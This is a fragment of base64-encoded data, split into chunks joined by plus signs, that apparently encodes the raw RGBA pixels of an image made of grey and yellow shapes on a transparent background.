AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLB0tL + S+JLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLwUtLSwAAAAAA3c1uBN3NbtrdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u5d3NbgkAAAAAS0tLA0tL + S9dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL4EtLSwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tqS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tDAAAAAAAAAADdzW5c3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1ubgAAAAAAAAAAS0tLW0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLB0tL + S+JLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLxEtLSwAAAAAA3c1uA93NbtfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7l3c1uCAAA + AABLS0sDS0tL2EtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vhS0tLBwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0trS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tGAAAAAAAAAADdzW5Z3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5uAAAAAAAAAABLS0tcS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCEtL + S+NLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLxktLSwAAAAAA3c1uAt3NbtTdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + buTdzW4JAAAAAEtLSwRLS0vZS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+JLS0sHAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tsS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tJAAAAAAAAAADdzW5V3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbm0AAAAAAAAAAEtLS15LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS2oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCEtL + S+RLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLyUtLSwEAAAAA3c1uAt3NbtHdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u5N3NbggAAAAAS0tLBEtLS9lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL40tL + SwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0ttS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tLAAAAAAAAAADdzW5R3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1ubQAAAAAAAAAAS0tLXktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLawAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtL + S+VLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLy0tLSwEAAAAA3c1uAd3Nbs7dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7k3c1uCAAAAABLS0sES0tL2ktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vjS0tLCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tvS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tOAAAAAAAAAADdzW5N3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5sAAAAAAAA + AABLS0tfS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tsAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtL + S+VLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLzktLSwEAAAAA3c1uAd3NbsrdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbuPdzW4IAAAAAEtLSwRLS0vbS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS+RLS0sIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tvS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tRAAAAAAAAAADdzW5J3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bmsAAAAAAAAAAEtLS2BLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS24AAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtL + S+dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL0EtLSwEAAAAA3c1uAd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u493NbggAAAAAS0tLBUtLS9xLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL5UtLSwkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0txS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tTAAAAAAAAAADdzW5G3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1uawAAAAAAAAAAS0tLYUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLbwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCktL + S+dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL0ktLSwIAAAAA3c1uAN3NbsPdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7j3c1uBwAAAABLS0sFS0tL3EtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vmS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tyS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tWAAAAAAAAAADdzW5C3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW5qAAAAAAAAAABLS0tiS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0twAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCktL + S+hLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL1UtLSwIAAAAA3c1uAN3Nbr/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbuLdzW4HAAAAAEtL + SwVLS0vdS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+ZLS0sKAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tzS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tZAAAAAAAAAADdzW4+3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbmoAAAAAAAAAAEtLS2NLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLC0tL + S+hLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL10tLSwMAAAAA3c1uAN3NbrvdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u4t3N + bgcAAAAAS0tLBUtLS95LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL50tLSwoAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t0S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tcAAAAAAAAAADdzW463c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uaQAAAAAAAAAAS0tLZEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLC0tL + S+lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL2UtLSwMAAAAA4NBwAN3NbrfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7h3c1uBwAAAABLS0sGS0tL30tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0voS0tLCwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t2S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0teAAAAAAAAAADdzW433c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5pAAAAAAAAAABLS0tlS0tL/0tL + 